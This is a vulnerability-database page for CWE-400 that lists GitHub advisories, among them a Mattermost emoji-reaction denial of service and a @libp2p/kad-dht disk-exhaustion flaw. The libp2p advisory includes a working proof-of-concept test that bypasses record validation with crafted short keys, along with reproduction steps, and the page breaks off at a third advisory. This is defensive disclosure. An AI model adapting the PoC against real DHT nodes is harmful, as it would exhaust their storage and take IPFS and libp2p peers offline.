Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5486 vulnerabilities reference this CWE, most recent first.

GHSA-32H7-7J94-8FC2

Vulnerability from github – Published: 2024-02-09 18:31 – Updated: 2025-02-19 15:34
VLAI
Summary
Mattermost vulnerable to denial of service via large number of emoji reactions
Details

Mattermost fails to check if a custom emoji reaction exists when sending it to a post and to limit the amount of custom emojis allowed to be added in a post, allowing an attacker sending a huge amount of non-existent custom emojis in a post to crash the mobile app of a user seeing the post. Fetching posts with huge amounts of reactions results in Uncontrolled Resource Consumption.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.2.0"
            },
            {
              "fixed": "9.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.1.0"
            },
            {
              "fixed": "9.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1402"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-09T21:35:00Z",
    "nvd_published_at": "2024-02-09T16:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost fails to check if a custom emoji reaction exists when sending it to a post and to limit the amount of custom emojis allowed to be added in a post, allowing an attacker sending a huge amount of non-existent custom emojis in a post to crash the mobile app of a user seeing the post.\u00a0Fetching posts with huge amounts of reactions results in Uncontrolled Resource Consumption.",
  "id": "GHSA-32h7-7j94-8fc2",
  "modified": "2025-02-19T15:34:17Z",
  "published": "2024-02-09T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1402"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/64cb0ca8af2dbda1afcddd1604460591a4799b81"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/6d2440de9fd774b67e65e3aac4ab8b6ef9aba2d8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/81190e2da128a6985914ea7023a69ac400513fc4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost vulnerable to denial of service via large number of emoji reactions"
}

GHSA-32MQ-HPPH-XFVR

Vulnerability from github – Published: 2026-05-19 20:07 – Updated: 2026-06-11 13:30
VLAI
Summary
@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes
Details

Summary

An unauthenticated remote peer can exhaust the disk storage of any @libp2p/kad-dht node running in server mode by sending an unbounded stream of PUT_VALUE messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.

Details

Two cooperating defects combine to produce the vulnerability.

Defect 1: verifyRecord silent early-return (packages/kad-dht/src/record/validators.ts:19-21) 

export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {                                                                                             
  const key = record.key                                                                                   
  const keyString = uint8ArrayToString(key)   // decode as UTF-8
  const parts = keyString.split('/')                                                                       

  if (parts.length < 3) {                                                                                                                                                                                             
    // No validator available                                                                              
    return                          // <- silent success; record IS written to datastore
  }                                                                                                        
  // ...                                             
}

Legitimate DHT keys (/pk/<multihash>, /ipns/<peerId>) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two / characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.

Defect 2: Unbounded RPC message loop (packages/kad-dht/src/rpc/index.ts:103-152) 

let signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer
signal.addEventListener('abort', abortListener)      
const messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB

while (true) {
  if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }
  const message = await messages.read({ signal })
  await this.handleMessage(connection.remotePeer, message)
  // ...
  signal.removeEventListener('abort', abortListener)
  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message
  signal.addEventListener('abort', abortListener)
}

The inactivity timeout is reset after every successfully received message. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.

Combined impact

  • DEFAULT_MAX_DATA_LENGTH = 4 MB per message (from @libp2p/utils)
  • DEFAULT_MAX_INBOUND_STREAMS = 32 concurrent streams per kad-dht instance
  • Attack throughput: 4 MB × unlimited messages × 32 streams
  • Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)

Differential note: go-libp2p-kad-dht enforces record.Validator.Validate() per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.

PoC

The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.

File: packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts:

/**
 * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts
 *
 * Affected: packages/kad-dht/src/record/validators.ts:19-22
 *           packages/kad-dht/src/rpc/handlers/put-value.ts
 *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)
 */

/* eslint-env mocha */

import assert from 'node:assert'
import { start } from '@libp2p/interface'
import { defaultLogger } from '@libp2p/logger'
import { persistentPeerStore } from '@libp2p/peer-store'
import { Libp2pRecord } from '@libp2p/record'
import { streamPair } from '@libp2p/utils'
import { MemoryDatastore } from 'datastore-core'
import * as lp from 'it-length-prefixed'
import { TypedEventEmitter } from 'main-event'
import pDefer from 'p-defer'
import Sinon from 'sinon'
import { stubInterface } from 'sinon-ts'
import { StreamMessageEvent } from '@libp2p/interface'
import { toString as uint8ArrayToString } from 'uint8arrays/to-string'
import { Message, MessageType } from '../../src/message/dht.js'
import { PeerRouting } from '../../src/peer-routing/index.js'
import { Providers } from '../../src/providers.js'
import { RoutingTable } from '../../src/routing-table/index.js'
import { RPC } from '../../src/rpc/index.js'
import { passthroughMapper } from '../../src/utils.js'
import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'
import type { Validators } from '../../src/index.js'
import type { RPCComponents } from '../../src/rpc/index.js'
import type { Connection, Libp2pEvents } from '@libp2p/interface'
import type { AddressManager } from '@libp2p/interface-internal'
import type { Datastore } from 'interface-datastore'

describe('PoC: PUT_VALUE stores data without validation for short keys', function () {
  this.timeout(15_000)

  let rpc: RPC
  let datastore: Datastore

  beforeEach(async () => {
    const peerId = await createPeerIdWithPrivateKey()
    datastore = new MemoryDatastore()

    const components: RPCComponents = {
      peerId: peerId.peerId,
      datastore,
      peerStore: stubInterface(),
      addressManager: stubInterface<AddressManager>(),
      logger: defaultLogger()
    }
    components.peerStore = persistentPeerStore({
      ...components,
      events: new TypedEventEmitter<Libp2pEvents>()
    })

    await start(...Object.values(components))

    // Default validators: only 'pk' and 'ipns' in production.
    // Empty {} means: any key with ≥3 parts but unknown type throws; any key
    // with <3 parts silently passes (the bypass under test).
    const validators: Validators = {}

    rpc = new RPC(components, {
      routingTable: Sinon.createStubInstance(RoutingTable),
      providers: Sinon.createStubInstance(Providers),
      peerRouting: Sinon.createStubInstance(PeerRouting),
      validators,
      logPrefix: '',
      metricsPrefix: '',
      datastorePrefix: '',
      peerInfoMapper: passthroughMapper
    })
  })

  it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {
    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part
    // when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3
    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])
    const keyStr = uint8ArrayToString(craftedKey)
    const parts = keyStr.split('/')
    assert.ok(parts.length < 3,
      `key produces ${parts.length} parts — expected < 3 for bypass`)

    const PAYLOAD_SIZE = 64 * 1024  // 64 KB — replace with 4 * 1024 * 1024 for full impact
    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)

    const record = new Libp2pRecord(craftedKey, largeValue, new Date())
    const encodedRecord = record.serialize()

    const msg: Partial<Message> = {
      type: MessageType.PUT_VALUE,
      key: craftedKey,
      record: encodedRecord
    }

    // Confirm datastore is empty before the attack
    const before: string[] = []
    for await (const { key } of datastore.query({})) {
      before.push(key.toString())
    }
    assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,
      'datastore must be empty before attack')

    // Open an in-memory stream pair.
    // outboundStream = attacker; incomingStream = victim.
    const [outboundStream, incomingStream] = await streamPair()

    // Wait for the echoed response (PUT_VALUE handler returns the message).
    // This confirms the victim processed the message before we check the store.
    const responseReceived = pDefer<void>()
    outboundStream.addEventListener('message', (evt) => {
      // LP-decode the response and verify it's our PUT_VALUE echo
      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {
        const response = Message.decode(buf)
        if (response.type === MessageType.PUT_VALUE) {
          responseReceived.resolve()
        }
      }
    })

    // Schedule message send after victim starts listening (mirrors existing test pattern)
    queueMicrotask(() => {
      outboundStream.send(lp.encode.single(Message.encode(msg)))
    })

    // Start victim processing — do not await yet
    const victimDone = rpc.onIncomingStream(
      incomingStream,
      stubInterface<Connection>()
    )

    // Wait until the victim has processed and echoed the message
    await responseReceived.promise

    // Verify: arbitrary record was stored
    const after: string[] = []
    for await (const { key } of datastore.query({})) {
      after.push(key.toString())
    }
    const dhtRecordsAfter = after.filter(k => k.includes('/record/'))

    assert.ok(dhtRecordsAfter.length > 0,
      'VULNERABILITY CONFIRMED: arbitrary record stored without validation')

    console.log(`\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)
    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)
    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)

    // Clean up: abort the stream so victimDone resolves
    incomingStream.abort(new Error('test cleanup'))
    await victimDone.catch(() => {})
  })

  it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
    const MESSAGES = 8
    const VALUE_SIZE = 16 * 1024  // 16 KB each

    for (let i = 0; i < MESSAGES; i++) {
      // Unique key per message → unique datastore entry per write
      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
      const record = new Libp2pRecord(craftedKey, value, new Date())

      const msg: Partial<Message> = {
        type: MessageType.PUT_VALUE,
        key: craftedKey,
        record: record.serialize()
      }

      const [outboundStream, incomingStream] = await streamPair()

      const responseReceived = pDefer<void>()
      outboundStream.addEventListener('message', () => { responseReceived.resolve() })

      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())

      await responseReceived.promise
      incomingStream.abort(new Error('test cleanup'))
      await victimDone.catch(() => {})
    }

    const keys: string[] = []
    for await (const { key } of datastore.query({})) {
      keys.push(key.toString())
    }
    const dhtRecords = keys.filter(k => k.includes('/record/'))

    assert.strictEqual(dhtRecords.length, MESSAGES,
      `expected ${MESSAGES} records stored`)

    const totalKB = (MESSAGES * VALUE_SIZE) / 1024
    console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
  })
})

Steps to reproduce (tested on commit 15eeedba13846e55e8fc3f9e4c49af18fa185ea4):

git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/kad-dht
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha \
  'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000

Expected output:

PoC: PUT_VALUE stores data without validation for short keys

[PoC] Datastore key written:  /record/aebag
[PoC] Bypassed validator with: key=[0x1,0x2,0x3]
[PoC] Payload stored:          65536 bytes (64 KB)
    ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts

[PoC] 8 records stored → 128 KB written
[PoC] No per-peer write budget. No per-stream message count limit.
[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.
    ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked

2 passing (44ms)

Test 1 (BYPASS) confirms that a single PUT_VALUE message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.

Test 2 (RATE) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.

Impact

Affected deployments: any @libp2p/kad-dht node in server mode (clientMode: false). Server mode is the default for nodes with publicly routable addresses; the kad-dht module auto-switches to server mode (kad-dht.ts:340-358). This includes: - IPFS nodes (kubo, Helia, any JS IPFS implementation) - libp2p bootstrap nodes - Any application exposing a public DHT endpoint

Not affected: DHT client-mode nodes, setMode('client') calls registrar.unhandle(this.protocol) which removes the inbound stream handler entirely.

Availability (disk): attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared repo datastore). Node becomes unavailable.

No authentication barrier: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.

Suggested minimum fix: Change the silent early-return to a hard rejection:

-  if (parts.length < 3) {
-    // No validator available
-    return
-  }
+  if (parts.length < 3) {
+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)
+  }
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/kad-dht"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:07:52Z",
    "nvd_published_at": "2026-06-10T22:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node\u0027s datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability.                           \n                                                     \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)**                                                                                                                 \n                                                                                                           \n```typescript                                                                                                                                                                                                         \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise\u003cvoid\u003e {                                                                                             \n  const key = record.key                                                                                   \n  const keyString = uint8ArrayToString(key)   // decode as UTF-8\n  const parts = keyString.split(\u0027/\u0027)                                                                       \n                                                                                                           \n  if (parts.length \u003c 3) {                                                                                                                                                                                             \n    // No validator available                                                                              \n    return                          // \u003c- silent success; record IS written to datastore\n  }                                                                                                        \n  // ...                                             \n}                                                                                                                                                                                                                     \n```\n\nLegitimate DHT keys (`/pk/\u003cmultihash\u003e`, `/ipns/\u003cpeerId\u003e`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)**                                                                                                                               \n                                                                                                                                                                                                                      \n```typescript                                                                                              \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer\nsignal.addEventListener(\u0027abort\u0027, abortListener)      \nconst messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n  if (stream.readStatus !== \u0027readable\u0027) { await stream.close({ signal }); break }\n  const message = await messages.read({ signal })\n  await this.handleMessage(connection.remotePeer, message)\n  // ...\n  signal.removeEventListener(\u0027abort\u0027, abortListener)\n  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message\n  signal.addEventListener(\u0027abort\u0027, abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB \u00d7 unlimited messages \u00d7 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with \u003c 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n *           packages/kad-dht/src/rpc/handlers/put-value.ts\n *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from \u0027node:assert\u0027\nimport { start } from \u0027@libp2p/interface\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { Libp2pRecord } from \u0027@libp2p/record\u0027\nimport { streamPair } from \u0027@libp2p/utils\u0027\nimport { MemoryDatastore } from \u0027datastore-core\u0027\nimport * as lp from \u0027it-length-prefixed\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\nimport pDefer from \u0027p-defer\u0027\nimport Sinon from \u0027sinon\u0027\nimport { stubInterface } from \u0027sinon-ts\u0027\nimport { StreamMessageEvent } from \u0027@libp2p/interface\u0027\nimport { toString as uint8ArrayToString } from \u0027uint8arrays/to-string\u0027\nimport { Message, MessageType } from \u0027../../src/message/dht.js\u0027\nimport { PeerRouting } from \u0027../../src/peer-routing/index.js\u0027\nimport { Providers } from \u0027../../src/providers.js\u0027\nimport { RoutingTable } from \u0027../../src/routing-table/index.js\u0027\nimport { RPC } from \u0027../../src/rpc/index.js\u0027\nimport { passthroughMapper } from \u0027../../src/utils.js\u0027\nimport { createPeerIdWithPrivateKey } from \u0027../utils/create-peer-id.js\u0027\nimport type { Validators } from \u0027../../src/index.js\u0027\nimport type { RPCComponents } from \u0027../../src/rpc/index.js\u0027\nimport type { Connection, Libp2pEvents } from \u0027@libp2p/interface\u0027\nimport type { AddressManager } from \u0027@libp2p/interface-internal\u0027\nimport type { Datastore } from \u0027interface-datastore\u0027\n\ndescribe(\u0027PoC: PUT_VALUE stores data without validation for short keys\u0027, function () {\n  this.timeout(15_000)\n\n  let rpc: RPC\n  let datastore: Datastore\n\n  beforeEach(async () =\u003e {\n    const peerId = await createPeerIdWithPrivateKey()\n    datastore = new MemoryDatastore()\n\n    const components: RPCComponents = {\n      peerId: peerId.peerId,\n      datastore,\n      peerStore: stubInterface(),\n      addressManager: stubInterface\u003cAddressManager\u003e(),\n      logger: defaultLogger()\n    }\n    components.peerStore = persistentPeerStore({\n      ...components,\n      events: new TypedEventEmitter\u003cLibp2pEvents\u003e()\n    })\n\n    await start(...Object.values(components))\n\n    // Default validators: only \u0027pk\u0027 and \u0027ipns\u0027 in production.\n    // Empty {} means: any key with \u22653 parts but unknown type throws; any key\n    // with \u003c3 parts silently passes (the bypass under test).\n    const validators: Validators = {}\n\n    rpc = new RPC(components, {\n      routingTable: Sinon.createStubInstance(RoutingTable),\n      providers: Sinon.createStubInstance(Providers),\n      peerRouting: Sinon.createStubInstance(PeerRouting),\n      validators,\n      logPrefix: \u0027\u0027,\n      metricsPrefix: \u0027\u0027,\n      datastorePrefix: \u0027\u0027,\n      peerInfoMapper: passthroughMapper\n    })\n  })\n\n  it(\u0027BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\u0027, async () =\u003e {\n    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n    // when split on \u0027/\u0027: [0x01, 0x02, 0x03] \u2192 \"\\x01\\x02\\x03\" \u2192 length 1 \u003c 3\n    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n    const keyStr = uint8ArrayToString(craftedKey)\n    const parts = keyStr.split(\u0027/\u0027)\n    assert.ok(parts.length \u003c 3,\n      `key produces ${parts.length} parts \u2014 expected \u003c 3 for bypass`)\n\n    const PAYLOAD_SIZE = 64 * 1024  // 64 KB \u2014 replace with 4 * 1024 * 1024 for full impact\n    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n    const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n    const encodedRecord = record.serialize()\n\n    const msg: Partial\u003cMessage\u003e = {\n      type: MessageType.PUT_VALUE,\n      key: craftedKey,\n      record: encodedRecord\n    }\n\n    // Confirm datastore is empty before the attack\n    const before: string[] = []\n    for await (const { key } of datastore.query({})) {\n      before.push(key.toString())\n    }\n    assert.strictEqual(before.filter(k =\u003e k.includes(\u0027/record/\u0027)).length, 0,\n      \u0027datastore must be empty before attack\u0027)\n\n    // Open an in-memory stream pair.\n    // outboundStream = attacker; incomingStream = victim.\n    const [outboundStream, incomingStream] = await streamPair()\n\n    // Wait for the echoed response (PUT_VALUE handler returns the message).\n    // This confirms the victim processed the message before we check the store.\n    const responseReceived = pDefer\u003cvoid\u003e()\n    outboundStream.addEventListener(\u0027message\u0027, (evt) =\u003e {\n      // LP-decode the response and verify it\u0027s our PUT_VALUE echo\n      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n        const response = Message.decode(buf)\n        if (response.type === MessageType.PUT_VALUE) {\n          responseReceived.resolve()\n        }\n      }\n    })\n\n    // Schedule message send after victim starts listening (mirrors existing test pattern)\n    queueMicrotask(() =\u003e {\n      outboundStream.send(lp.encode.single(Message.encode(msg)))\n    })\n\n    // Start victim processing \u2014 do not await yet\n    const victimDone = rpc.onIncomingStream(\n      incomingStream,\n      stubInterface\u003cConnection\u003e()\n    )\n\n    // Wait until the victim has processed and echoed the message\n    await responseReceived.promise\n\n    // Verify: arbitrary record was stored\n    const after: string[] = []\n    for await (const { key } of datastore.query({})) {\n      after.push(key.toString())\n    }\n    const dhtRecordsAfter = after.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n    assert.ok(dhtRecordsAfter.length \u003e 0,\n      \u0027VULNERABILITY CONFIRMED: arbitrary record stored without validation\u0027)\n\n    console.log(`\\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)\n    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b =\u003e `0x${b.toString(16)}`).join(\u0027,\u0027)}]`)\n    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n    // Clean up: abort the stream so victimDone resolves\n    incomingStream.abort(new Error(\u0027test cleanup\u0027))\n    await victimDone.catch(() =\u003e {})\n  })\n\n  it(\u0027RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\u0027, async () =\u003e {\n    const MESSAGES = 8\n    const VALUE_SIZE = 16 * 1024  // 16 KB each\n\n    for (let i = 0; i \u003c MESSAGES; i++) {\n      // Unique key per message \u2192 unique datastore entry per write\n      const craftedKey = new Uint8Array([0x10, (i \u003e\u003e 8) \u0026 0xFF, i \u0026 0xFF])\n      const value = new Uint8Array(VALUE_SIZE).fill(i \u0026 0xFF)\n      const record = new Libp2pRecord(craftedKey, value, new Date())\n\n      const msg: Partial\u003cMessage\u003e = {\n        type: MessageType.PUT_VALUE,\n        key: craftedKey,\n        record: record.serialize()\n      }\n\n      const [outboundStream, incomingStream] = await streamPair()\n\n      const responseReceived = pDefer\u003cvoid\u003e()\n      outboundStream.addEventListener(\u0027message\u0027, () =\u003e { responseReceived.resolve() })\n\n      queueMicrotask(() =\u003e { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface\u003cConnection\u003e())\n\n      await responseReceived.promise\n      incomingStream.abort(new Error(\u0027test cleanup\u0027))\n      await victimDone.catch(() =\u003e {})\n    }\n\n    const keys: string[] = []\n    for await (const { key } of datastore.query({})) {\n      keys.push(key.toString())\n    }\n    const dhtRecords = keys.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n    assert.strictEqual(dhtRecords.length, MESSAGES,\n      `expected ${MESSAGES} records stored`)\n\n    const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n    console.log(`\\n[PoC] ${MESSAGES} records stored \u2192 ${totalKB} KB written`)\n    console.log(\u0027[PoC] No per-peer write budget. No per-stream message count limit.\u0027)\n    console.log(\u0027[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\u0027)\n  })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n  \u0027dist/test/rpc/poc-put-value-unvalidated.spec.js\u0027 --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written:  /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored:          65536 bytes (64 KB)\n    \u2714 BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\n\n[PoC] 8 records stored \u2192 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\n    \u2714 RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim\u0027s datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode(\u0027client\u0027)` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim\u0027s datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n                                                                                                           \n```diff\n-  if (parts.length \u003c 3) {\n-    // No validator available\n-    return\n-  }\n+  if (parts.length \u003c 3) {\n+    throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+  }\n```",
  "id": "GHSA-32mq-hpph-xfvr",
  "modified": "2026-06-11T13:30:45Z",
  "published": "2026-05-19T20:07:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45783"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes"
}

GHSA-32P9-57CR-4X65

Vulnerability from github – Published: 2026-05-11 21:31 – Updated: 2026-05-18 16:49
VLAI
Summary
